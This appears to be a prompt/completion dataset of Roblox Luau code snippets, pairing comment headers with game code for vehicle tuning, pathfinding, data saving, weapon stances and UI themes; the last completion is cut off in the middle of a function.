prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--("IsAHumanoid") |
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then |
-- NEW V13.1.0 - PartCache tie-in. If you use the PartCache module to create cosmetic bullets, you can now directly tie that in.
-- Ensure you're using the latest version of PartCache. |
local CosmeticPartProvider = PartCacheModule.new(CosmeticBullet, 100, CosmeticBulletsFolder)
|
-- Récupérez le joueur local |
local player = game.Players.LocalPlayer
|
-- loop through all the arm parts and make them visible in first person |
local function visiblearms(bool)
if armsvisible then
local castshadow = not bool
for i, part in ipairs(armparts) do
part.LocalTransparencyModifier = armtransparency
part.CanCollide = false
part.CastShadow = castshadow
end
end
end
|
-- Setup animation objects |
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
|
-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don't,
-- nothing will change, I don't know why, but this is how I make my givers. | |
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.KeypadEquals ,
ToggleABS = Enum.KeyCode.KeypadZero ,
ToggleTransMode = Enum.KeyCode.KeypadEight ,
ToggleMouseDrive = Enum.KeyCode.F1 ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[[Drivetrain Initialize]] |
local Drive={}
--Power Front Wheels
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
table.insert(Drive,v)
end
end
end
--Power Rear Wheels
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then
table.insert(Drive,v)
end
end
end
--Determine Wheel Size
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
--Pre-Toggled PBrake
for i,v in pairs(car.Wheels:GetChildren()) do
if v["#AV"]:IsA("BodyAngularVelocity") then
if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then
_PBrake=true
end
else
if math.abs(v["#AV"].MotorMaxTorque-PBrakeForce)<1 then
_PBrake=true
end
end
end
|
--!strict |
local ClientBridge = require(script.ClientBridge)
local ClientIdentifiers = require(script.ClientIdentifiers)
local ClientProcess = require(script.ClientProcess)
local Types = require(script.Parent.Types)
local Client = {}
function Client.start()
ClientProcess.start()
ClientIdentifiers.start()
end
function Client.ser(identifierName: Types.Identifier): Types.Identifier?
return ClientIdentifiers.ser(identifierName)
end
function Client.deser(compressedIdentifier: Types.Identifier): Types.Identifier?
return ClientIdentifiers.deser(compressedIdentifier)
end
function Client.makeIdentifier(name: string, timeout: number?)
return ClientIdentifiers.ref(name, timeout)
end
function Client.makeBridge(name: string)
return ClientBridge(name)
end
return Client
|
--[[Flip]] |
function Flip()
--Detect Orientation
if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
FlipWait=tick()
--Apply Flip
else
if tick()-FlipWait>=3 then
FlipDB=true
local gyro = car.DriveSeat.Flip
gyro.maxTorque = Vector3.new(10000,0,10000)
gyro.P=3000
gyro.D=500
wait(1)
gyro.maxTorque = Vector3.new(0,0,0)
gyro.P=0
gyro.D=0
FlipDB=false
end
end
end
|
--[[ NON-STATIC METHODS ]] | --
function Path:Destroy()
for _, event in ipairs(self._events) do
event:Destroy()
end
self._events = nil
if rawget(self, "_visualWaypoints") then
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
end
self._path:Destroy()
setmetatable(self, nil)
for k, _ in pairs(self) do
self[k] = nil
end
end
function Path:Stop()
if not self._humanoid then
output(error, "Attempt to call Path:Stop() on a non-humanoid.")
return
end
if self._status == Path.StatusType.Idle then
output(function(m)
warn(debug.traceback(m))
end, "Attempt to run Path:Stop() in idle state")
return
end
disconnectMoveConnection(self)
self._status = Path.StatusType.Idle
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._events.Stopped:Fire(self._model)
end
function Path:Run(target)
--Non-humanoid handle case
if not target and not self._humanoid and self._target then
moveToFinished(self, true)
return
end
--Parameter check
if not (target and (typeof(target) == "Vector3" or target:IsA("BasePart"))) then
output(error, "Pathfinding target must be a valid Vector3 or BasePart.")
end
--Refer to Settings.TIME_VARIANCE
if os.clock() - self._t <= self._settings.TIME_VARIANCE and self._humanoid then
task.wait(os.clock() - self._t)
declareError(self, self.ErrorType.LimitReached)
return false
elseif self._humanoid then
self._t = os.clock()
end
--Compute path
local pathComputed, _ = pcall(function()
self._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == "Vector3" and target) or target.Position)
end)
--Make sure path computation is successful
if not pathComputed
or self._path.Status == Enum.PathStatus.NoPath
or #self._path:GetWaypoints() < 2
or (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
task.wait()
declareError(self, self.ErrorType.ComputationError)
return false
end
--Set status to active; pathfinding starts
self._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle
self._target = target
--Set network owner to server to prevent "hops"
pcall(function()
self._agent.PrimaryPart:SetNetworkOwner(nil)
end)
--Initialize waypoints
self._waypoints = self._path:GetWaypoints()
self._currentWaypoint = 2
--Refer to Settings.COMPARISON_CHECKS
if self._humanoid then
comparePosition(self)
end
--Visualize waypoints
destroyVisualWaypoints(self._visualWaypoints)
self._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints))
--Create a new move connection if it doesn't exist already
self._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...)
moveToFinished(self, ...)
end))
--Begin pathfinding
if self._humanoid then
self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)
elseif #self._waypoints == 2 then
self._target = nil
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._events.Reached:Fire(self._agent, self._waypoints[2])
else
self._currentWaypoint = getNonHumanoidWaypoint(self)
moveToFinished(self, true)
end
return true
end
return Path
|
--[[Wheel Alignment]] |
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -1
Tune.RCamber = -1
Tune.FToe = 0
Tune.RToe = 0
|
---[[ Channel Settings ]] |
module.GeneralChannelName = "All" -- You can set to nil to turn off echoing to a general channel. |
--[[Steering]] |
local function Steering()
local SteerLocal = script.Parent.Values.SteerC.Value
--Mouse Steer
if _MSteer then
local msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200)
local mdZone = _Tune.Peripherals.MSteerDZone/100
local mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth)
if math.abs(mST)<=mdZone then
_GSteerT = 0
else
_GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST))
end
end
--Interpolate Steering
if SteerLocal < _GSteerT then
if SteerLocal<0 then
SteerLocal = math.min(_GSteerT,SteerLocal+_Tune.ReturnSpeed)
else
SteerLocal = math.min(_GSteerT,SteerLocal+_Tune.SteerSpeed)
end
else
if SteerLocal>0 then
SteerLocal = math.max(_GSteerT,SteerLocal-_Tune.ReturnSpeed)
else
SteerLocal = math.max(_GSteerT,SteerLocal-_Tune.SteerSpeed)
end
end
--Steer Decay Multiplier
local sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
--Apply Steering
for _,v in ipairs(car.Wheels:GetChildren()) do
if v.Name=="F" then
v.Arm.Steer.CFrame=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerInner*sDecay),0)
elseif v.Name=="FL" then
if SteerLocal>= 0 then
v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerOuter*sDecay),0)
else
v.Arm.Steer.CFrame=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerInner*sDecay),0)
end
elseif v.Name=="FR" then
if SteerLocal>= 0 then
v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerInner*sDecay),0)
else
v.Arm.Steer.CFrame=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(SteerLocal*_Tune.SteerOuter*sDecay),0)
end
end
end
end
|
--// Stances |
function Prone()
L_87_:FireServer("Prone")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -3, 0)
}):Play()
L_3_:WaitForChild("Humanoid").WalkSpeed = 4
L_127_ = 4
L_126_ = 0.025
L_47_ = true
L_67_ = 0.01
L_66_ = -0.05
L_68_ = 0.05
Proned2 = Vector3.new(0, 0.5, 0.5)
L_102_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_249_arg1)
return math.sin(math.rad(L_249_arg1))
end, 0.25)
L_102_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_250_arg1)
return math.sin(math.rad(L_250_arg1))
end, 0.25)
L_102_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_251_arg1)
return math.sin(math.rad(L_251_arg1))
end, 0.25)
end
function Stand()
L_87_:FireServer("Stand")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, 0, 0)
}):Play()
L_47_ = false
if not L_46_ then
L_3_:WaitForChild("Humanoid").WalkSpeed = 16
L_126_ = .2
L_127_ = 17
L_67_ = L_23_.camrecoil
L_66_ = L_23_.gunrecoil
L_68_ = L_23_.Kickback
elseif L_46_ then
L_3_:WaitForChild("Humanoid").WalkSpeed = 16
L_127_ = 10
L_126_ = 0.02
L_67_ = L_23_.AimCamRecoil
L_66_ = L_23_.AimGunRecoil
L_68_ = L_23_.AimKickback
end
Proned2 = Vector3.new(0, 0, 0)
L_102_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_252_arg1)
return math.sin(math.rad(L_252_arg1))
end, 0.25)
L_102_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_253_arg1)
return math.sin(math.rad(L_253_arg1))
end, 0.25)
L_102_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_254_arg1)
return math.sin(math.rad(L_254_arg1))
end, 0.25)
end
function Crouch()
L_87_:FireServer("Crouch")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -1, 0)
}):Play()
L_3_:WaitForChild("Humanoid").WalkSpeed = 9
L_127_ = 9
L_126_ = 0.035
L_47_ = true
L_67_ = 0.02
L_66_ = -0.05
L_68_ = 0.05
Proned2 = Vector3.new(0, 0, 0)
L_102_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_255_arg1)
return math.sin(math.rad(L_255_arg1))
end, 0.25)
L_102_(L_10_, CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_256_arg1)
return math.sin(math.rad(L_256_arg1))
end, 0.25)
L_102_(L_11_, CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_257_arg1)
return math.sin(math.rad(L_257_arg1))
end, 0.25)
L_102_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_258_arg1)
return math.sin(math.rad(L_258_arg1))
end, 0.25)
end
local L_137_ = false
L_82_.InputBegan:connect(function(L_259_arg1, L_260_arg2)
if not L_260_arg2 and L_15_ == true then
if L_15_ then
if L_259_arg1.KeyCode == Enum.KeyCode.C then
if L_70_ == 0 and not L_49_ and L_15_ then
L_70_ = 1
Crouch()
L_71_ = false
L_73_ = true
L_72_ = false
elseif L_70_ == 1 and not L_49_ and L_15_ then
L_70_ = 2
Prone()
L_73_ = false
L_71_ = true
L_72_ = false
L_137_ = true
end
end
if L_259_arg1.KeyCode == Enum.KeyCode.X then
if L_70_ == 2 and not L_49_ and L_15_ then
L_137_ = false
L_70_ = 1
Crouch()
L_71_ = false
L_73_ = true
L_72_ = false
elseif L_70_ == 1 and not L_49_ and L_15_ then
L_70_ = 0
Stand()
L_71_ = false
L_73_ = false
L_72_ = true
end
end
end
end
end)
|
-- Stuff (do not edit below) |
local configModel = script.Parent.Config
local scoreBlock = script.Parent.ScoreBlock
local uS = configModel.UploadScore
local rS = configModel.RemoteScore
local lSU = configModel.LocalScoreUpdate
uS.Refresh.Value = SCORE_UPDATE
rS.Score.Value = NAME_OF_STAT
rS.Original.Value = PLAYER_SAVE
rS.DataStore.Value = DATA_STORE
lSU.Refresh.Value = PLAYER_UPDATE
uS.Disabled = false
uS.Parent = game.ServerScriptService
rS.Disabled = false
rS.Parent = game.Workspace
lSU.Disabled = false
lSU.Parent = game.StarterGui
|
-- tween engine sound volume when we start driving |
local engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0)
local Remotes = Vehicle:WaitForChild("Remotes")
local SetThrottleRemote = Remotes:WaitForChild("SetThrottle")
local SetThrottleConnection = nil
local EngineSoundEnabled = true
local TireTrailEnabled = true
local ignitionTime = 1.75 -- seconds
local lastAvgAngularVelocity = 0
local throttleEnabled = false
local lastThrottleUpdate = 0
local enginePower = 0 -- current rpm of the engine
local gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)
|
--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent |
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
|
--[[
A simplistic spring implementation.
]] |
local e=2.718281828459045
local function posvel(d,s,p0,v0,p1,v1,x)
if s==0 then
return p0
elseif d<1-1e-8 then
local h=(1-d*d)^0.5
local c1=(p0-p1+2*d/s*v1)
local c2=d/h*(p0-p1)+v0/(h*s)+(2*d*d-1)/(h*s)*v1
local co=math.cos(h*s*x)
local si=math.sin(h*s*x)
local ex=e^(d*s*x)
return co/ex*c1+si/ex*c2+p1+(x-2*d/s)*v1, s*(co*h-d*si)/ex*c2-s*(co*d+h*si)/ex*c1+v1
elseif d<1+1e-8 then
local c1=p0-p1+2/s*v1
local c2=p0-p1+(v0+v1)/s
local ex=e^(s*x)
return (c1+c2*s*x)/ex+p1+(x-2/s)*v1, v1-s/ex*(c1+(s*x-1)*c2)
else
local h=(d*d-1)^0.5
local a=(v1-v0)/(2*s*h)
local b=d/s*v1-(p1-p0)/2
local c1=(1-d/h)*b+a
local c2=(1+d/h)*b-a
local co=e^(-(h+d)*s*x)
local si=e^((h-d)*s*x)
return c1*co+c2*si+p1+(x-2*d/s)*v1, si*(h-d)*s*c2-co*(d+h)*s*c1+v1
end
end
local function targposvel(p1,v1,x)
return p1+x*v1,v1
end
local Spring = {}
Spring.__index = Spring
|
--p.Ground(part"because cframe and position", zone size, size of part, number how many part spawn, time delay and remove)
--P.Ground(script.parent,độ mở của vòng tròn rock,Size Rock,số rock spawm,Thời gian rock còn trên mặt đất) | |
--// Tracer Vars |
TracerTransparency = 0;
TracerLightEmission = 1;
TracerTextureLength = 0.1;
TracerLifetime = 0.05;
TracerFaceCamera = true;
TracerColor = BrickColor.new('White');
|
--[[ Services ]] | --
local PlayersService = game:GetService('Players')
local VRService = game:GetService("VRService")
|
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1500 -- Front brake force
Tune.RBrakeForce = 1000 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
-- << CUSTOM >>
-- Theme |
local ratio = 6.1/#themeColors
local themeFrame = pages.custom["AB ThemeSelection"]
local themeDe = true
local function updateThemeSelection(themeName, themeColor)
if themeName == nil then
for i,v in pairs(themeColors) do
if v[1] == main.pdata.Theme then
themeName = v[1]
themeColor = v[2]
break
end
end
end
if themeName then
local themeFrames = {}
for a,b in pairs(main.gui:GetDescendants()) do
if b:IsA("BoolValue") and b.Name == "Theme" then
table.insert(themeFrames, b.Parent)
end
end
for _,f in pairs(themeFrames) do
local newThemeColor = themeColor
if f.Theme.Value then
local h,s,v = Color3.toHSV(themeColor)
newThemeColor = Color3.fromHSV(h, s, v*1.35)
end
if f:IsA("TextLabel") then
local h,s,v = Color3.toHSV(themeColor)
newThemeColor = Color3.fromHSV(h, s, v*2)
f.TextColor3 = newThemeColor
else
f.BackgroundColor3 = newThemeColor
end
end
for a,b in pairs(themeFrame:GetChildren()) do
if b:IsA("TextButton") then
if b.Name == themeName then
b.BorderSizePixel = 1
else
b.BorderSizePixel = 0
end
end
end
end
end
for i, theme in pairs(themeColors) do
local themeName = theme[1]
local themeColor = theme[2]
local box = themeFrame.ThemeTemplate:Clone()
box.Name = themeName
box.UIAspectRatioConstraint.AspectRatio = ratio
box.BackgroundColor3 = themeColor
box.MouseButton1Down:Connect(function()
if themeDe then
themeDe = false
main.signals.ChangeSetting:InvokeServer{"Theme", themeName}
updateThemeSelection(themeName, themeColor)
themeDe = true
end
end)
box.Visible = true
box.Parent = themeFrame
end
|
-- a better alternative implementation for the wait function |
function wait_time(duration)
local start = tick()
local Heartbeat = game:GetService("RunService").Heartbeat
repeat Heartbeat:Wait() until (tick() - start) >= duration
return (tick() - start)
end
|
--Library |
local DataStoreCache = {}
local DataStore2 = {}
local combinedDataStoreInfo = {}
|
--------------------------------------------------------------------------------------
--------------------[ GUN SETUP ]-----------------------------------------------------
-------------------------------------------------------------------------------------- |
serverMain:WaitForChild("Plyr").Value = Player
local gunMomentum = Spring.new(V3())
gunMomentum.s = S.momentumSettings.Speed
gunMomentum.d = S.momentumSettings.Damper
local gunRecoilSpring = Spring.new(V3())
gunRecoilSpring.s = S.recoilSettings.springSpeed
gunRecoilSpring.d = S.recoilSettings.springDamper
local camRecoilSpring = Spring.new(V3())
camRecoilSpring.s = 35
camRecoilSpring.d = 0.5
local crossSpring = Spring.new(V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0))
crossSpring.s = 20
crossSpring.d = 0.75
|
-- Make the chat work when the top bar is off |
module.ChatOnWithTopBarOff = false
module.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat.
module.ShowFriendJoinNotification = true -- Show a notification in the chat when a players friend joins the game.
|
--[[
berezaa's method of saving data (from the dev forum):
What I do and this might seem a little over-the-top but it's fine as long as you're not using datastores excessively elsewhere is have a datastore and an ordereddatastore for each player. When you perform a save, add a key (can be anything) with the value of os.time() to the ordereddatastore and save a key with the os.time() and the value of the player's data to the regular datastore. Then, when loading data, get the highest number from the ordered data store (most recent save) and load the data with that as a key.
Ever since I implemented this, pretty much no one has ever lost data. There's no caches to worry about either because you're never overriding any keys. Plus, it has the added benefit of allowing you to restore lost data, since every save doubles as a backup which can be easily found with the ordereddatastore
edit: while there's no official comment on this, many developers including myself have noticed really bad cache times and issues with using the same datastore keys to save data across multiple places in the same game. With this method, data is almost always instantly accessible immediately after a player teleports, making it useful for multi-place games.
--]] |
local DataStoreService = game:GetService("DataStoreService")
local OrderedBackups = {}
OrderedBackups.__index = OrderedBackups
function OrderedBackups:Get()
local success, value = pcall(function()
return self.orderedDataStore:GetSortedAsync(false, 1):GetCurrentPage()[1]
end)
if not success then
return false, value
end
if value then
local mostRecentKeyPage = value
local recentKey = mostRecentKeyPage.value
self.dataStore2:Debug("most recent key", mostRecentKeyPage)
self.mostRecentKey = recentKey
local success, value = pcall(function()
return self.dataStore:GetAsync(recentKey)
end)
if not success then
return false, value
end
return true, value
else
self.dataStore2:Debug("no recent key")
return true, nil
end
end
function OrderedBackups:Set(value)
local key = (self.mostRecentKey or 0) + 1
local success, problem = pcall(function()
self.dataStore:SetAsync(key, value)
end)
if not success then
return false, problem
end
local success, problem = pcall(function()
self.orderedDataStore:SetAsync(key, key)
end)
if not success then
return false, problem
end
self.mostRecentKey = key
return true
end
function OrderedBackups.new(dataStore2)
local dataStoreKey = dataStore2.Name .. "/" .. dataStore2.UserId
local info = {
dataStore2 = dataStore2,
dataStore = DataStoreService:GetDataStore(dataStoreKey),
orderedDataStore = DataStoreService:GetOrderedDataStore(dataStoreKey),
}
return setmetatable(info, OrderedBackups)
end
return OrderedBackups
|
--------------------------------------------------- |
This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)
CustomText = CustomLabel["CUSTOMFLOORLABEL"]
Elevator:WaitForChild("Floor").Changed:connect(function(floor)
--custom indicator code--
ChangeFloor(tostring(floor))
end)
function ChangeFloor(SF)
if CustomText[tonumber(SF)] then
SF = CustomText[tonumber(SF)]
end
SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end
function SetDisplay(ID,CHAR)
if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
for i,l in pairs(Characters[CHAR]) do
for r=1,7 do
This.Display["DIG"..ID]["D"..r].Color = (l:sub(r,r) == "1" and DisplayColor or DisabledColor)
This.Display["DIG"..ID]["D"..r].Material = (l:sub(r,r) == "1" and Lit or Unlit)
end
end
end
end
|
--------------------[ KEYBOARD FUNCTIONS ]-------------------------------------------- |
function keyDown(K)
local Key = string.lower(K)
if Key == S.Keys.lowerStance and S.canChangeStance then
if (not Running) then
if Stance == 0 then
if S.stanceSettings.Stances.Crouch then
Crouch()
elseif S.stanceSettings.Stances.Prone then
Prone()
end
elseif Stance == 1 then
if S.stanceSettings.Stances.Prone then
Prone()
end
end
elseif S.dolphinDive then
wait()
if Humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and (not UIS:IsKeyDown("Space")) and runReady then
local tempConnection = Humanoid.Changed:connect(function()
Humanoid.Jump = false
end)
runReady = false
Dive()
Running = false
wait(S.diveSettings.rechargeTime)
tempConnection:disconnect()
runReady = true
end
end
end
if Key == S.Keys.raiseStance and S.canChangeStance then
if (not Running) then
if Stance == 2 then
if S.stanceSettings.Stances.Crouch then
Crouch()
else
Stand()
end
elseif Stance == 1 then
Stand()
end
end
end
if Key == S.Keys.ADS then
if S.aimSettings.holdToADS then
if (not AimingIn) and (not Aimed) then
AimingIn = true
aimGun()
AimingIn = false
end
else
if Aimed then
unAimGun()
else
aimGun()
end
end
end
if Key == S.Keys.selectFire and S.selectFire then
if canSelectFire then
canSelectFire = false
rawFireMode = rawFireMode + 1
modeGUI.Text = Modes[((rawFireMode - 1) % numModes) + 1]
if modeGUI.Text == "AUTO" then
fireFunction = autoFire
elseif modeGUI.Text == "BURST" then
fireFunction = burstFire
elseif modeGUI.Text == "SEMI" then
fireFunction = semiFire
else
fireFunction = nil
end
local speedAlpha = S.selectFireSettings.animSpeed / 0.6
if S.selectFireSettings.GUI then
spawn(function()
fireSelect.Visible = true
local prevRawFireMode = rawFireMode
local Increment = 1.5 / (speedAlpha * 0.25)
local X = 0
wait(speedAlpha * 0.1)
while true do
RS.RenderStepped:wait()
local newX = X + Increment
X = (newX > 90 and 90 or newX)
if prevRawFireMode ~= rawFireMode then break end
updateModeLabels(rawFireMode - 1, rawFireMode, X)
if X == 90 then break end
end
wait(speedAlpha * 0.25)
fireSelect.Visible = false
end)
end
if S.selectFireSettings.Animation and (not Aimed) and (not isRunning) and (not isCrawling) then
spawn(function()
local sequenceTable = {
function()
tweenJoint(RWeld2, nil, CFANG(0, RAD(5), 0), Sine, speedAlpha * 0.15)
tweenJoint(LWeld, armC0[1], CF(0.1, 1, -0.3) * CFANG(RAD(-7), 0, RAD(-65)), Linear, speedAlpha * 0.15)
wait(speedAlpha * 0.2)
end;
function()
tweenJoint(LWeld, armC0[1], CF(0.1, 1, -0.3) * CFANG(RAD(-10), 0, RAD(-65)), Linear, speedAlpha * 0.1)
wait(speedAlpha * 0.2)
end;
function()
tweenJoint(RWeld2, nil, CF(), Sine, speedAlpha * 0.2)
tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, speedAlpha * 0.2)
wait(speedAlpha * 0.2)
end;
}
for _, F in pairs(sequenceTable) do
if Aimed or isRunning or isCrawling or Reloading then
break
end
F()
end
end)
end
if S.selectFireSettings.Animation or S.selectFireSettings.GUI then
wait(S.selectFireSettings.animSpeed)
end
canSelectFire = true
end
end
if Key == S.Keys.Reload then
if (not Reloading) and (not isCrawling) then
Reload()
end
end
if Key == S.Keys.Sprint then
runKeyPressed = true
